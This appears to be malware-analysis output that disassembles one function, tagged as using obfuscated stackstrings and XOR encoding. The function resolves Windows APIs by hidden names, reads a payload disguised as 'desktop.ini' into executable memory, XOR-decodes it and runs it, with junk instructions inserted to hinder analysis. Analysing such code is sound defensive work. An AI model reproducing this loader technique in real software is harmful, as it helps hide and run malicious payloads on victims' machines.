Function at 0x10001193
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
lea eax, [ebp - 0x80]
mov dword [ebp - 0x80], 0x4b6e6d66
mov dword [ebp - 0x7c], 0x6d636e76
mov dword [ebp - 0x78], 0x64735668
mov dword [ebp - 0x74], 0x6b647b46
mov dword [ebp - 0x70], 0x60634568
mov dword [ebp - 0x6c], 0x727b5164
mov dword [ebp - 0x68], 0x6e626472
mov dword [ebp - 0x64], 0x68734f71
mov dword [ebp - 0x60], 0x627b4477
mov dword [ebp - 0x5c], 0x406b6b6e
mov dword [ebp - 0x58], 0x7374606b
mov dword [ebp - 0x54], 0x7b556871
mov dword [ebp - 0x50], 0x72606664
mov dword [ebp - 0x4c], 0x634c6472
mov dword [ebp - 0x48], 0x7b52646d
mov dword [ebp - 0x44], 0x74736456
mov dword [ebp - 0x40], 0x44776462
mov dword [ebp - 0x3c], 0x67646b6b
mov dword [ebp - 0x38], 0x77567b52
mov dword [ebp - 0x34], 0x6664416e
mov dword [ebp - 0x30], 0x64727260
mov dword [ebp - 0x2c], 0x64407b4c
mov dword [ebp - 0x28], 0x6445686b
mov dword [ebp - 0x24], 0x71646073
mov dword [ebp - 0x20], 0x77407b42
mov dword [ebp - 0x1c], 0x6664416e
mov dword [ebp - 0x18], 0x64727260
xor bl, bl
mov word [ebp - 0x14], 0x4c
call fcn.1000117f
lea eax, [ebp - 0x5c]
push eax
push str.shell32.dll
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x5d], bl
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x21], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea eax, [ebp - 0x74]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea eax, [ebp - 0x29]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea eax, [ebp - 0x42]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
push 1
xor eax, eax
push eax
push eax
push 0x1000203c
push eax
push eax
call dword [ebp - 4]
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
call dword [ebp - 8]
mov dword [0x10003030], eax
cmp eax, 0xffffffff
je 0x10001493
push 0x40
mov esi, pe_overlay
push esi
push esi
push edi
call dword [ebp - 0xc]
push edi
push 0x10003034
push esi
push eax
push dword [0x10003030]
mov dword [0x1000302c], eax
call dword [ebp - 0x10]
mov eax, dword [0x1000302c]
mov cl, byte [eax]
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
movzx ecx, cl
xor ecx, 0x4e
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
xor esi, esi
cmp dword [0x10003034], esi
jbe 0x10001469
mov eax, dword [0x1000302c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003034]
jb 0x10001450
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
call dword [0x1000302c]
pop edi
pop esi
pop ebx
leave
ret 0x10